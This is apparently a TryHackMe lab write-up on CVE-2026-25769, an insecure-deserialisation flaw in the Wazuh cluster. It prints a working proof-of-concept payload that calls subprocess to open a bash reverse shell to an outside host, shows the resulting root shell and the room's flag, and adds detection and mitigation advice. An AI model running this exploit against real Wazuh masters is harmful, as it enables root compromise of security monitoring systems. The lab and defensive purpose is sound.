Skip to main content

Command Palette

Search for a command to run...

Wazuh: CVE-2026-25769 (TryHackMe)

Published
13 min read
Wazuh: CVE-2026-25769 (TryHackMe)
J

Software Developer | Learning Cybersecurity | Open for roles *

If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Introduction

Wazuh(opens in new tab) is a free and open-source security platform used for threat prevention, detection, and response. It is widely deployed across enterprises as a Security Information and Event Management (SIEM) and Extended Detection and Response (XDR) solution. One of its core capabilities is a cluster architecture in which a master node coordinates one or more worker nodes to distribute workloads across large environments.

Consider a scenario where your organisation relies on Wazuh to monitor every server, endpoint, and network device. Every alert, every log, every detection rule flows through the master node. Now imagine an attacker gains access to a single worker node and, from there, executes arbitrary commands on the master with root privileges. That is exactly what CVE-2026-25769 allows.

Wazuh cluster representation.In March 2026, the Hakai Security Research Team(opens in new tab) discovered a critical Remote Code Execution (RCE) vulnerability in the Wazuh cluster communication protocol. The flaw exists in how the master node deserialises JSON messages from worker nodes. Because the deserialisation function imports and executes arbitrary Python modules without any allowlist, a compromised worker can instruct the master to run any system command. The vulnerability was reported through GitHub Security Advisories and assigned:

  • Severity: Critical

  • CVSS Score: 9.1

  • CVE-ID: CVE-2026-25769

  • CWE: CWE-502 (Deserialization of Untrusted Data)

  • Affected Versions: 4.0.0 through 4.14.2

  • Patched Version: 4.14.3

Learning Objectives

  • Understand how Wazuh cluster communication works between master and worker nodes

  • Exploit CVE-2026-25769 to achieve RCE on the master node from a compromised worker

  • Understand insecure deserialisation in Python's json.loads() with custom object hooks

  • Learn detection and mitigation strategies for this class of vulnerability

Prerequisites

  • Protocols and Servers

  • Wazuh

  • OWASP Top 10 2025: Application Design Flaws

Technical Background

Wazuh Cluster Architecture

Wazuh deployments running in cluster mode use a master/worker architecture. Workers connect to the master over TCP port 1516. All communication between nodes is encrypted using a shared Fernet (opens in new tab)key defined in the cluster configuration file (ossec.conf). This encryption ensures that only nodes with the correct key can exchange messages. However, once a node is authenticated, the master implicitly trusts all content it receives, and this is where the problem lies.

Wazuh Cluster attack scenario.

The master node exposes a Distributed API (DAPI)(opens in new tab) that enables workers to submit processing requests. These requests are serialised as JSON and deserialised on the master side using Python's json.loads() with a custom object_hook.

The Vulnerable Function

The vulnerability is located in framework/wazuh/core/cluster/common.py in the as_wazuh_object() function (lines 1830-1866). This function is registered as the object_hook parameter in json.loads(), which means every JSON object deserialised from cluster messages passes through it for custom transformation.

When the function encounters a JSON object containing the _callable_ key, it performs the following operations without any validation:

  1. Reads the module value from user-controlled input

  2. Calls import_module() to dynamically import the specified module with no allowlist

  3. Uses getattr() to retrieve any function from the imported module

  4. Returns the function reference, which is later executed by the caller

Let's look at the vulnerable code path:

# framework/wazuh/core/cluster/common.py:1839-1848

def as_wazuh_object(dct: Dict):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            if '__wazuh__' in encoded_callable:
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                module_path = encoded_callable['__module__']   # NO VALIDATION
                module = import_module(module_path)            # ARBITRARY IMPORT
                if classname is None:
                    return getattr(module, funcname)           # RETURNS ARBITRARY FUNCTION
                else:
                    return getattr(getattr(module, classname), funcname)

Notice how module_path is read directly from the incoming JSON payload and passed straight to import_module(). There is no check on which modules are allowed. An attacker can specify subprocess, os, shutil, or any other Python module available on the system.

The Execution Point The deserialised function is executed in framework/wazuh/core/cluster/dapi/dapi.py. At line 705, the incoming request is deserialised:

# Line 705: Deserialisation with vulnerable hook
request = json.loads(request, object_hook=c_common.as_wazuh_object)

# Line 248: Execution of deserialized function
data = f(**f_kwargs)  # f = subprocess.getoutput, f_kwargs = {"cmd": "COMMAND"}

If the attacker crafts a payload where f resolves to subprocess.getoutput and f_kwargs contains {"cmd": "id"}, the master will execute subprocess.getoutput(cmd="id") as root.

The Attack Flow

Let's walk through the complete attack chain step by step:

  1. The attacker compromises a worker node (via initial access, insider threat, or supply chain attack)

  2. The worker already has the shared Fernet key for cluster communication

  3. The attacker sends a malicious DAPI request via LocalClient.execute()

  4. The message is encrypted with the cluster key and sent over TCP to the master on port 1516

  5. The master's APIRequestQueue.run() receives and deserialises the message

  6. as_wazuh_object() processes the _callable_ key, imports subprocess, and returns subprocess.getoutput

  7. DistributedAPI.run_local() calls subprocess.getoutput(cmd="...") with root privileges

  8. The attacker's command executes on the master node

    The root cause is twofold: the master trusts all authenticated worker messages without validating the content, and the as_wazuh_object() function has no module allowlist restricting which Python modules can be imported during deserialisation.

Answer the questions below

  1. What is the name of the Python file containing the vulnerable as_wazuh_object() function? common.py

  2. What Python function is used to dynamically load modules from the module field without validation? import_module

  3. What encryption scheme is used to protect cluster communication between worker and master? Fernet

  4. On which TCP port does the master node listen for cluster communication? 1516

Exploitation

In this task, we will exploit a vulnerable Wazuh cluster, craft the malicious payload, and execute it from the worker to achieve RCE on the master. The lab environment simulates a real-world deployment with a master and worker node sharing a cluster key.

Environment Setup

In the attached VM, we have a Dockerised cluster with two containers running wazuh/wazuh-manager:4.9.2. The master node runs at 172.28.0.10 and the worker at 172.28.0.11. Both share the cluster key WeKnowTryHackMeIsTheBestPlatform configured in their respective ossec.conf files.

Cluster Configuration The master node configuration (`master.xml) defines the cluster name, node type, shared key, and bind address:

<ossec\_config> <jsonout\_output>yes</jsonout\_output> secure1514tcp thm <node\_name>master</node\_name> <node\_type>master</node\_type> WeKnowTryHackMeIsTheBestPlatform 1516 <bind\_addr>0.0.0.0</bind\_addr> wazuh-master no </ossec\_config> 

The worker configuration (worker.xml) mirrors this but sets node\_type to worker and node\_name to worker01. Both share the same key value, which is what allows the worker to authenticate with the master.

Starting the Cluster

In the attached machine, open the terminal and issue the following command to confirm the cluster configuration:

ubuntu@tryhackme:~/$ sudo docker exec master /var/ossec/bin/cluster_control -l
NAME      TYPE    VERSION  ADDRESS       
master    master  4.9.2    wazuh-master  
worker01  worker  4.9.2    172.28.0.11 

The output confirms that worker01 has successfully connected to the master. The cluster is ready for exploitation.

Preparing the Payload

To prepare the payload, we simply craft a malicious JSON object that abuses Wazuh’s unsafe deserialisation mechanism. By specifying a callable pointing to Python’s subprocess.getoutput, we can force the master node to execute arbitrary system commands. We then include our desired command in f_kwargs and set request_type to local_master so it executes directly on the master. Let's examine the payload structure:

{
    "f": {
        "__callable__": {
            "__name__": "getoutput",
            "__module__": "subprocess",
            "__qualname__": "getoutput"
        }
    },
    "f_kwargs": {
        "cmd": "whoami > /tmp" #any command that we want to try
    },
    "request_type": "local_master"
}

When the master receives and deserialises this payload:

  1. as_wazuh_object() encounters the __callable__ key inside the f field

  2. It reads __module__ as subprocess and calls import_module("subprocess")

  3. It reads name as getoutput and calls getattr(subprocess, "getoutput")

  4. The DAPI framework then calls subprocess.getoutput(cmd="id > /tmp/RCE_PROOF && date >> /tmp/RCE_PROOF")

  5. The command runs on the master node with root privileges

The request_type is set to `local_master, which tells the DAPI framework to execute the function locally on the master rather than forwarding it to another node.

Exploit Script

To exploit the script, we will be using a slightly modified version as shared by HakaiSecurity(opens in new tab). In the attached VM, create a file poc.py and copy the following code. It dynamically loads Wazuh's `LocalClient module to send the payload through the cluster's own communication channel:

#!/usr/bin/env python3
import sys, json, asyncio, importlib.util

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
    "request_type": "local_master"
}

async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(PAYLOAD)}")
    await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
    print("Check the listener running on MACHINE_IP:4444 to confirm the shell")

asyncio.run(main())

The script uses load_module() to dynamically import Wazuh's LocalClient class from the framework directory. This avoids Python import path issues when running inside the container. It then creates a LocalClient instance, connects to the local cluster socket, and sends the payload using the dapi command.

Running the Exploit

To run the exploit, we will first start the listener by running the command nc -nvlp 4444 in the current terminal. Next, open a new terminal tab; we will first copy the poc.py to the worker instance and then execute it using the following command:

ubuntu@tryhackme:~/$ sudo docker cp poc.py worker:/exploit/poc.py
Successfully copied 2.56kB to worker:/exploit/poc.py
ubuntu@tryhackme:~/$ sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py

The script sends the malicious payload to the master through the encrypted cluster channel. Once you execute the code, your listener will catch a root shell, as shown below:

bash-5.2$ uname -a
uname -a
Linux wazuh-master 6.8.0-1016-aws #17-Ubuntu SMP Mon Sep  2 13:48:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-5.2$ 

Answer the questions below

  1. What Python module does the exploit payload specify in the module field to achieve command execution? subprocess

  2. What is the request_type value used in the exploit payload to target the master node? local_master

What are the contents of root.txt on the master server? THM{WAZUH_RCE_COMPLETED

sudo docker exec master /var/ossec/bin/cluster_control -l
NAME      TYPE    VERSION  ADDRESS       
master    master  4.9.2    wazuh-master  
worker01  worker  4.9.2    172.28.0.11 

poc.py

#!/usr/bin/env python3
import sys, json, asyncio, importlib.util

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.48.188.16/4444 0>&1'"},
    "request_type": "local_master"
}

async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(PAYLOAD)}")
    await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
    print("Check the listener running on 10.48.188.16:4444 to confirm the shell")

asyncio.run(main())
sudo docker exec master /var/ossec/bin/cluster_control -l
NAME      TYPE    VERSION  ADDRESS       
master    master  4.9.2    wazuh-master  
worker01  worker  4.9.2    172.28.0.11   
ubuntu@tryhackme:~$ nano poc.py
ubuntu@tryhackme:~$ sudo docker cp poc.py worker:/exploit/poc.py
Successfully copied 2.56kB to worker:/exploit/poc.py
ubuntu@tryhackme:~$ sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py
Sending: {"f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}}, "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/10.48.188.16/4444 0>&1'"}, "request_type": "local_master"}
Check the listener running on 10.48.188.16:4444 to confirm the shell
nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 172.28.0.10 45812
bash: cannot set terminal process group (605): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ uname -a
uname -a
Linux wazuh-master 6.8.0-1016-aws #17-Ubuntu SMP Mon Sep  2 13:48:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-5.2$ ls 
ls 
bin
boot
check_repository.sh
dev
etc
home
init
lib
lib64
libexec
local
media
mnt
opt
permanent_data.env
proc
root
root.txt
run
sbin
srv
sys
tmp
usr
var
wazuh-config-mount
bash-5.2$ cat root.txt
cat root.txt
THM{WAZUH_RCE_COMPLETED}

Detection

Detecting this exploit is challenging because it uses the same encrypted cluster communication channel as legitimate traffic. The malicious payload is structurally identical to normal DAPI requests; only the deserialised function's content differs. However, there are several indicators we can monitor at both the network and host levels.

Network-Level Detection

Since the exploit travels over the standard cluster port (1516), traditional network monitoring will not flag the traffic itself. However, we can look for anomalies:

  • Unusual volume of DAPI requests from a single worker node

  • Cluster communication from unexpected source IP addresses

  • Connections to the master port 1516 from non-worker addresses

Host-Level Detection

The most reliable detection happens on the master node itself. After successful exploitation, the attacker's commands execute as child processes of the Wazuh cluster daemon. We can look for processes spawned by `wazuh-clusterd that fall outside normal operational patterns.

Consider the following SIEM query to detect anomalous child processes:

process.parent.name:"wazuh-clusterd" AND NOT process.name:("python3" OR "wazuh-\*") 

Additional host-level indicators to monitor:

  • Unexpected files created by the wazuh user (e.g., files in /tmp/) - Reverse shell connections originating from the master node

  • New cron jobs or persistence mechanisms installed under the Wazuh service account

  • Unusual Python module imports in Wazuh process memory or logs

Log-Based Detection

Monitor the Wazuh master logs for entries indicating unexpected function calls. While the cluster does not log deserialised function names by default, any errors resulting from failed exploit attempts may appear in /var/ossec/logs/cluster.log. Look for stack traces referencing as_wazuh_object` or unexpected module imports.

Mitigation

The primary fix is straightforward: upgrade Wazuh to version 4.14.3 or later. This version introduces an allowlist for modules allowed in as_wazuh_object(), blocking arbitrary imports during deserialisation.

If an immediate upgrade is not possible, consider the following interim measures:

  • Restrict network access to port 1516 so only known worker IP addresses can connect

  • Monitor and audit worker node integrity to detect compromise early

  • Implement additional network segmentation between the worker and master nodes

  • Rotate cluster keys regularly and immediately after any suspected compromise

For long-term hardening:

  • Apply the principle of least privilege to the Wazuh service account

  • Enable audit logging for all cluster communication events

  • Deploy file integrity monitoring on the master node itself

  • Review and restrict which users and processes can interact with `LocalClient

Answer the questions below

Which patched Wazuh version fixes CVE-2026-25769? 4.14.3

Conclusion

In this room, we covered:

  • How Wazuh cluster communication works between master and worker nodes using Fernet-encrypted messages over TCP port 1516

  • The insecure deserialisation flaw in the `as_wazuh_object() function that allows arbitrary Python module imports and function execution without any allowlist validation

  • Step-by-step exploitation of CVE-2026-25769 using a crafted JSON payload to achieve root-level RCE on the master node from a compromised worker

  • Detection strategies, including SIEM queries for anomalous child processes and host-level indicators of compromise

  • Mitigation through upgrading to the Wazuh version 4.14.3 and network hardening measures

This vulnerability highlights a fundamental risk in trust architectures. The master node implicitly trusted all deserialised content from authenticated workers without validating which functions could be invoked. A single compromised worker was enough to take full control of the entire security monitoring infrastructure. As we discussed in the technical background, the `as_wazuh_object() function was designed for convenience, allowing remote function calls between cluster nodes but the absence of a module allowlist turned that convenience into a critical attack surface.

Let us know what you think about this room on our Discord server(opens in new tab) or X account(opens in new tab). If you liked this room, feel free to look at our Insecure Deserialisation room, which covers key techniques to exploit an insecure deserialisation vulnerability in a web app.